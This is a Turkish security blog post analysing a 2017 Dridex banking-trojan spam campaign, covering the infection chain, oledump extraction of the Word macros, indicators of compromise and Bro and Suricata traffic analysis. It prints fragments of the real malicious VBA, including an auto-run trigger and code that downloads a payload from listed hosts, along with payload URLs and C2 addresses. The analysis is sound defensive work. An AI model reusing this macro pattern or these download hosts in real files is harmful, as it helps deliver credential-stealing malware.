Secops.blog

Samet Sazak Kişisel Blog

Dridex Bankacılık Spam Malware Saldırı Analizi

06 May 2017 » zararli-yazilim, some

erinyes

(Erinyeler, Grek ve Roma mitolojisinde evrendeki düzenin ve doğa yasalarının bekçileri olarak görülürler.)

Aşağıdaki dosyalar zararlı yazılım içermektedir. Tüm dosyaları sanal makine üzerinde çalıştırmanızı tavsiye ederiz, bu konuyla ilgili tüm sorumluluk kullanıcıya aittir.

Zararlıya ait PCAP dosyası : 2017-04-19-Dridex-malspam-traffic-example.pcap.zip (Zip parolası : infected)

Tüm zararlı dosyaları içeren zip arşivi : 2017-04-19-Dridex-malspam-and-artifacts.zip (Zip parolası : infected)

Zararlı mail bilgilerini içeren zip arşivi : 2017-04-19-Dridex-malspam-tracker.csv.zip (Zip parolası : infected)

Dridex bankacılık zararlı yazılımı:

Dridex zararlısı ilk olarak 2014 yılında İngiltere merkezli şirketlerde tespit edildi. Dridex zararlı yazılımı belirlenen bankaların müşterilerine saldırılarak online bankacılık işlemleri sırasında kullanıcıların bankacılık kimlik bilgilerini çalmaktadır.

Yayılma Şekli:

2017-04-19-Dridex-malspam-Analizi-13

Adımlar:

  • Kullanıcılara içerisinde Microsoft Word eklentisi bulunduran bir email gelir.
  • Kullanıcı eklentiyi açarak ofis programının içerisindeki macronun çalıştırılmasını sağlar. Zararlı macro “.vbs dosyası” Dridex zararlısının kullanıcının bilgisayarına indiririr.
  • Dridex zararlı yazılımı öncelikle kurban bilgisayarı botnete ekler ve MITB (man-in-the-browser) saldırısı ile kullanıcı kimlik bilgilerini çalmaya yönelir. Dridex sıkça kullanılan tarayıcıların (Internet Explorer, Chrome, and Firefox) açılış sayfalarına kendisini enjekte eder.
  • Daha sonra Dridex tarayıcının hareketlerini inceleyerek online bankacılık işlemlerinin yapılması için bekler. Eğer kullanıcı Dridex’in listesinde bulunan yaklaşık 300 web sayfasından (bunların çoğu banka sayfası) herhangi birine giriş yapar ise screenshot(ekran görüntüsü) alır ve klavye hareketlerini kaydeder. Ayrıca sayfanın formuna girilen veriyi yakalama gibi yöntemlerle kullanıcının tüm kimlik bilgilerini çalar.
  • Çalınan bilgiler saldırganın C&C (Command and Control) sunucusuna şifreli olarak gönderilir.

Kullanıcıya gönderilen örnek bir mail 2017-04-19-Dridex-malspam-Analizi-11

Kullanıcının mail eklentisi içerisindeki pdf dosyasını açmak istemesi ile pdf haline getirilmiş Word dosyası içerisindeki zararlı makroyu aktif hale getirmek için kullanıcıdan izin ister. Kullanıcının izin vermesi durumunda belirli adreslerden kendi zararlı dosyalarını indirir.

2017-04-19-Dridex-malspam-Analizi-12

Saldırı Analizi:

Dridex zararlısının arkasındaki insanlar hergün milyonlarca spam mail gönderiyorlar. Dridex zararlısı daha çok İngilizce konuşulan ülkelerdeki kullanıcılara yönelik olduğu tespit edilmiştir. Symantec raporu, Dridex’in 1 Kasım 2015 - 15 Ocak 2016 tarihleri arasındaki hareketlere göre spam maillerinin %74’ünün göndereni gerçek şirket adına göre gönderilmiş ve bu emailler finansal hareketler ile doğrudan ilgili olarak gönderilerek eklentilerde fatura, sipariş bilgileri gibi dokümanlar eklenmektedir. Rapordaki önemli bir ayrıntı ise maillerin gerçekçiliği açısından spam emailleri hafta içi ve çalışma saatleri içerisinde gönderilmiş olmasıdır.

Aşağıdaki örnek email içerisinde kullanıcıya verilen siparişin bilgileri ek olarak gönderilmiş ve ödemesinin banka hesabına 2-3 gün içerisinde yansıyacağı belirtilmiş. Hiçbir alışveriş yapmamış bir kullanıcının endişelenerek, email eklentisini açarak oltaya düşme potansiyeli oldukça yüksek olacaktır. Bu gibi taktikleri kullanan saldırıların başarılı olması yüksektir.

2017-04-19-Dridex-malspam-Analizi-02

Dridex yaklaşık olarak 300 kadar banka veya benzeri finansal işlemlerde bulunan şirketlerin müşterilerinin kimlik bilgisini çalabilme kapasitesine sahiptir. Aşağıdaki grafikte Dridex’in müşterilerine saldırdığı şirketlerin ülkelere göre dağılımını görebilirsiniz. İngilizce konuşulan ülkeler ağırlıklı olmasına rağmen konuşulmayan ülkeler de hedef olarak almıştır. Yapılan araştırmalar, İngilizce konuşulmayan ülkelere gönderilen spam emaillerinde bolca dil bilgisi hatası yapıldığı farkedilmiştir.

istatislik

Zararlı Doküman Analizi

2017-04-19-Dridex-malspam-and-artifacts.zip” Arşiv dosyası içerisinde “embedded-Word-docs” dizini altında mail yolu ile kişilere gönderilen zararlı makro kodu içeren “docm” dosyaları bulunmaktadır. “Oledump” aracını kullanarak Microsof Office dosyaları içerisinden makro kaynak kodunu inceleyebiliriz.

Oledump aracını “https://videos.didierstevens.com/2014/08/26/oledump-py-beta/” adresinden indirebilirsiniz. Oledump programına giriş olarak zararlı makro içeren “95711.docm” dosyası verilerek çalıştırılır.

muge@secops:/SecOps-Blog/Oledump# python oledump.py ~/SecOps-Blog/2017-04-19-Dridex-malspam-and-artifacts/embedded-Word-docs/195711.docm 
A: word/vbaProject.bin
 A1:        97 'Odish/\x01CompObj'
 A2:       289 'Odish/\x03VBFrame'
 A3:       751 'Odish/f'
 A4:       544 'Odish/o'
 A5:       600 'PROJECT'
 A6:       134 'PROJECTwm'
 A7: M    2341 'VBA/ChiClass'
 A8: M    9640 'VBA/Module1'
 A9: M    7227 'VBA/Module2'
A10: m    1156 'VBA/Odish'
A11: M    1715 'VBA/ThisDocument'
A12:      5669 'VBA/_VBA_PROJECT'
A13:       935 'VBA/dir'

Oledump çıktısı bize dokümanın yapısı hakkında bilgi verir. Çıktı içerisinde gözlemlenen M harfi bize burada makronun varlığını göstermektedir. Makro potansiyeli içeren satırları “python oledump.py -v -s 195711.docm >> <çıktıdosyası>" komutunu çalıştırarak dışarı çıkartabiliriz.

muge@secops:/SecOps-Blog/Oledump# python oledump.py -v -s A7 195711.docm > Chiclass
muge@secops:/SecOps-Blog/Oledump# python oledump.py -v -s A8 195711.docm > Module1
muge@secops:/SecOps-Blog/Oledump# python oledump.py -v -s A9 195711.docm > Module2
muge@secops:/SecOps-Blog/Oledump# python oledump.py -v -s A11 195711.docm > ThisDocument

“ThisDocument” Dosyası incelenmeye başlarsak, burada “Sub autoopen()” parametresi ilk dikkatimizi çeken parametredir. Bu parametre dokümanın açılması ile makronun çalışmasını sağlar. Zararlı hareketi olduğunu gösteren bir kanıttır.

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
Dim c As ChiClass
Set c = New ChiClass
CallByName c, Odish.T2.Text, VbMethod
End Sub
Sub Document_Open()
End Sub

Makro içeren diğer çıktılar teker teker incelenerek anormallikler tespit edilebilir.

“Module1” dosyasına bakıldığında “carterfabricationsinc.comcastbiz.net/6gfd43Vbarrets.com.br/6gfd43Vthefatdude.co.uk/6gfd43” adresinden “6gfd43” isimli bir dosya indirildiği görülmektedir.

Public Sub WellNowYouAreReady()
If ActiveDocument.Kind = 0 Then
Set CuPro = CreateObject(Vaucher)
End If
Set DRUFTINGPIRO_LOR = CreateObject(ArizonaSu(FreshID + 3))
smbi = Odish.Label1.Caption
MovedPermanently = Split("jeanevermore.com/6gfd43Vhawgshackcycles.comcastbiz.net/6gfd43Vbarkave.comcastbiz.net/6gfd43", Odish.Command.Caption)
 Set SubProperty = CreateObject(ArizonaSu(1))
   Set DRUFTINGGMAKO = CreateObject(ArizonaSu(1 + 2 + 3 - 4))
Set DRUFTINGRDD2 = DRUFTINGPIRO_LOR.Environment(ArizonaSu(4))
 ProjectDarvin = 12
 DRUFTINGLAKOPPC = DRUFTINGRDD2(ArizonaSu(ProjectDarvin / 2))
 ProjectDarvin = ProjectDarvin - ProjectDarvin
     MoveSheets "A", "B", "C"

“Module2” dosyası incelendiğinde “Scripting.FileSystemObject” fonksiyonu kullanarak etkilenen Windows ortamının dosya sistemine içerisine bazı scriptlerin “ferbys” oluşturulduğu gözlemleniyor.

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2")
Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_VideoController", "WQL", _
wbemFlagReturnImmediately + wbemFlagForwardOnly)
rTemp2:
 DRUFTINGProject = DRUFTINGLAKOPPC
 DRUFTINGProjectBBB = DRUFTINGProject + "\ferbys" + CStr(ProjectDarvin)

Bazı Dridex saldırıları sırasında emailler içerisinde eklenen PDF dosyalarının SHA256 özetleri:

  • 05dd48c95e4e1b81786f9a3f4fcb7a41cc311f55ea8ecddd7f6e859df636e3ca
  • 2e9c00a2068a594bef50ac27c0f90e4640689fb6ef1173641220f57b09c47e18
  • 37b7487ca7cb16b973e35b3afc63202035bb53d04d15b2150fb5754cb334492e
  • 44a7a6e85201a73a35b63c7d0e36320b52dd9023cdea50f8c551687398244c37
  • 48c3d56e55697eae003c953f1830e76412241d147aa7ac2231eb39c9f3a266fc
  • 4bd1cdd02acc8bd849617120e526c412acd026b92e63438c58a637122eddb634
  • 6af64a4869c248ad84d07f0effd7a192d6d63844b5841869ffa9fb993d96482b
  • 73a89bcbf9b8176f4acafc2b4b4ad5d145d00c30c436eabf996a640accb15789
  • 7460aedf462c05480f036c4d7f5958254208a8cb3db6b1028edb0100717ebc73
  • 77afe8ea7a346f93d226245df36907d414052896fdd1a7f03f58621239991859
  • 9e1f83c6d7957302282f35d3188c82631d27bab8614120d8fc1a5a75121b69c5
  • bedcb0aaf08b9730fd758f8fc803e2d44530eb03e41a68552bcdaf9965915ed1
  • c7788d23647fa3a7f488a66d0ecd0263432e2d528939db1cdbe67865feec220f

Dridex saldırısı sırasında mailler içerisinde eklenen Word dosyalarının SHA256 özetleri:

  • 2b69fd2f9c8752487979c4dceb167a6fca47c462304ec3ca4f2892959fd66b7f
  • 5376e3d22a581353cd6edfc9cc27746c558e8749cec5734e93b22ff5e7e5854d
  • 61a97941f79d6de863f3f539f64d15b6dfa97e27450e41df03c569c43e0dcbf4
  • 710068bcc78b498cde513b3aec41532ffb1bd0587f05e3cdac05e3256ffd5d24
  • 864fae08d1db98f1b85df2a5e5523253f1f00eb2d576b38c7591c1985e9b8e63
  • 92dd9711f6c6d213df7cfe1b0b1302b685c893e57c246f39bc99aec8db91c0e0
  • 9a0f58b63e18003b3e6248115ee1eced2fd4d6a746902eb47ab16ea41ddcec94
  • 9f62445b29957ebce2adeca845f412a1c1c67f14eb65a43c7a90e15fc5877e7b
  • a1f8cee16dc73af43164f2997ddfb2939c7e928fd85899d4d784d9c7a283f677
  • b01e1a7d9949b90eccbfc5c2b757739f5f03dc0884af5675956d3a3b95df8bd4
  • d4a36a990b6a82c8c924177ba6c79ba6c3ce1bc9ad2f191aa206ed0e9b9f2b0e
  • f74c197bc0a4d3e8c7e477b35b1a2596160722d506969b7322a7326c6c5e8c70
  • fa96716253d79a8a2b77dbaad32632e613f2b5dff494c37bb1cc22eeab629299

Saldırı sonucunda etkilenen Windows ortamında oluşan dosyalar:

  • C:\Users[username]\AppData\Local\Temp\cAgE.cmd [Windows command shell script]
  • C:\Users[username]\AppData\Local\Temp\ferbys2 [encrypted Dridex binary]
  • C:\Users[username]\AppData\Local\Temp\redchip2.exe [decrypted Dridex binary]
  • C:\Users[username]\AppData\Roaming\GmB8Yb\OLEACC.dll [etkilenen hostlardaki bulunun başka dosya]

Host makineye indirilen Dridex zararlısı bilgileri:

SHA256 hash:  760390f07cefafadece0638a643d69964433041abeab09b65bfcdb922c047872
File size:   151,552 bytes
File location:  C:\Users\[username]\AppData\Local\Temp\redchip2.exe

Dridex saldırısından etkilenen diğer hostlardaki dosya bilgileri:

SHA256 hash:  2c9e1e1ed5743d4ab67e1902ab3dbd3c577bb7cdaed3d47619455314700377c3
File size:   442,368 bytes
File location:  C:\Users\[username]\AppData\Roaming\GmB8Yb\OLEACC.dll

Dridex zararlısının kullandığı diğer adresler:

barkave.comcastbiz.net - GET /6gfd43
barrets.com.br - GET /6gfd43
carterfabricationsinc.comcastbiz.net - GET /6gfd43
cleck.comcastbiz.net - GET /6gfd43
dbrose.com - GET /6gfd43
drsketchy.ph - GET /6gfd43
explorer.comcastbiz.net - GET /6gfd43
gth.co.uk - GET /6gfd43
hammis.com - GET /6gfd43
hawgshackcycles.comcastbiz.net - GET /6gfd43
integritycomputers.biz - GET /6gfd43
jeanevermore.com - GET /6gfd43
jure.cl - GET /6gfd43
keane-hypnotherapy.com - GET /6gfd43
mayod.net - GET /6gfd43
michaelflood.comcastbiz.net - GET /6gfd43
murrellswaterproofing.com - GET /6gfd43
narucom.com - GET /6gfd43
ormagraphica.it - GET /6gfd43
pierreleroy.net - GET /6gfd43
steve-b.com - GET /6gfd43
thefatdude.co.uk - GET /6gfd43
twotime.comcastbiz.net - GET /6gfd43
webrus.net - GET /6gfd43

Trafik Analizi

Zararlı yazılım aktifleştirildiği andan itibaren kaydedilen Pcap dosyasını SecurityOnion sistemini kullanarak BRO ile incelemeye başlıyoruz. Aşağıdaki komut kullanılarak pcap dosyası analizine başlanılır.

- muge@secops:~/Dridex$ bro -r 2017-04-19-Dridex-malspam-traffic-example.pcap local

Bro pcap içerisindeki trafiği kendi alanlarına bölerek log dosyalarına yazar.

muge@secops:~/Dridex$ ls
2017-04-19-Dridex-malspam-traffic-example.pcap  conn.log  files.log  loaded_scripts.log  packet_filter.log  ssl.log    x509.log
capture_loss.log    dns.log   http.log   notice.log          reporter.log       stats.log

“conn.log” dosyası incelendiğinde yapılan bağlantılar içerisinde “IP:216.177.132.93 Port:4143 TCP ssl” ve “IP:216.117.150.240 Port:80 TCP http” bağlantıları dikkat çekmektedir.

conn.log

“http.log” dosyası incelendiğinde “216.117.150.240” IP adresi “jeanevermore.com” bağlantısına GET isteği yapılarak “/6gfd43” isimli dosyanın indirildiği tespit ediliyor.

http.log

“ssl.log” dosyası içerisinde SSL/TLS handshake bilgileri bulunmaktadır. 216.177.132.93 IP adresine Port 4143 kullanarak ve 203.206.230.127 IP adresine Port 443 kullanarak “Self-Signed Certificate” ile bağlanıldığı tespit edilmiştir.

ssl.log

Bro kullanılarak yapılan ağ analizi sonucunda 216.117.150.24,216.177.132.93,203.206.230.127 IP adreslerine 4143,443 ve 80 portlarını kullanan anormal bir trafik olduğunu tespit ettik. Bir network içerisinde zararlının tespit edilmesi için Host ve Network tabanlı saldırı tespit sistemleri (IDS) kullanılabilir. Network tabanlı bir saldırı tespit sistemi içerisinde kullanılan pcap dosyasındaki gibi bir trafik oluşması durumunda IDS kuralları tetiklenerek sistemin alarm vermesi ve anormalliğin tespit edilmesi sağlanır.

Saldırı Tespit Sistemi kullanarak Trafik Analizi

Trafik analizi ve saldırı tespit sistemi ile zararlının tespiti için SELKS (Suricata/Elasticsearch/Logstash/Kibana/Scirius) sistemini kullanabiliriz. Pcap dosyasını SELKS içerisinde bulunan Suricata ile analiz edebiliriz.

suricata -r /home/selks-user/2017-04-19-Dridex-malspam-traffic-example.pcap --runmode single -l /var/log/Dridex/

Pcap dosyasındaki trafiği Suricata içerisinde bulunan kurallardan süzerek anormallik durumunda alarm vermesini sağlayabiliriz. Pcap dosyasının analizi sonucunda oluşan alarmlar:

04/19/2017-20:32:50.355938  [**] [1:2023583:4] ET TROJAN Known Malicious Doc Downloading Payload Dec 06 2016 [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 10.4.19.103:49181 -> 216.117.150.240:80
04/19/2017-20:32:58.139670  [**] [1:2023476:5] ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 216.177.132.93:4143 -> 10.4.19.103:49182
04/19/2017-20:33:02.036225  [**] [1:2023476:5] ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 216.177.132.93:4143 -> 10.4.19.103:49184
04/19/2017-20:33:14.729409  [**] [1:2023476:5] ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 216.177.132.93:4143 -> 10.4.19.103:49185
04/19/2017-20:33:22.307074  [**] [1:2023476:5] ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 216.177.132.93:4143 -> 10.4.19.103:49186
04/19/2017-20:37:44.059696  [**] [1:2023476:5] ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 203.206.230.127:443 -> 10.4.19.103:49192
04/19/2017-20:38:28.570718  [**] [1:2023476:5] ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 203.206.230.127:443 -> 10.4.19.103:49200

NOT: Zararlı IP adresleri veya zararlılar sürekli güncellendiğinden SELKS içerisinde bulunan Suricata için yazılmış Scirius kuralları güncel tutmak gerekmektedir. Bir zararlı kurallar güncellenmediğinden dolayı Suricata tarafından tespit edilemeyebilir. (Saldırı tespit edildikten sonra)

Scirius kurallarının güncellenmesi için aşağıdaki komutların SELKS içerisinde çalıştırılması yeterlidir.

cd /opt/selks/scirius/
python manage.py updatesuricata

Oluşan alarmların kullanıcılar için görsel olarak incelenebilmesi için SELKS üzerindeki Evebox veya Scirius arayüzleri kullanılabilir. Pcap dosyasını “tcpreplay” kullanarak yeniden oynatırız. Suricata tarafından oluşan alarmları bu şekilde inceleyebiliriz.

tcpreplay -i eth0 2017-04-19-Dridex-malspam-traffic-example.pcap

Evebox içerisinde eventler ile aşağıdaki gibi incelenebilmektedir.

dridex-evebox

Suricata kuralları tarafından tetiklenen alarmlar, Evebox Alerts sekmesi içeriside aşağıdaki gözlemlenebilmektedir.

dridex-alerts

ET TROJAN Known Malicious Doc Downloading Payload Alarmı ayrıntılı olarak incelenmesi durumunda IP:216.117.150.240 Port:80 üzerinden 6gfd43 isimli zararlı bir dosya indirildiğini gözlemliyoruz.

alert-Doc

ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) Alarmı dridex zararlısını kural içerisindeki kara listede bulunan ssl sertifikasından yakalayarak dridex zararlısı olduğunu tespit edebilmektedir.

alert-ssl

Son Notlar:


Not: Bu yazıda kullanılan içerikler http://www.malware-traffic-analysis.net adresinden alınmış olup, yazarın kendisinden izin alınmış(@malware_traffic) ve düzenlenmiştir. Kendisine yardımları için teşekkür ederiz.

PS: All materials on this post are taken from http://www.malware-traffic-analysis.net. Special thanks to @malware_traffic for sharing.

Referanslar:

https://spreadsecurity.github.io/2016/08/14/macro-malware-analysis.html https://blog.didierstevens.com/programs/oledump-py/ http://www.webopedia.com/TERM/D/dridex-malware.html http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dridex-financial-trojan.pdf https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf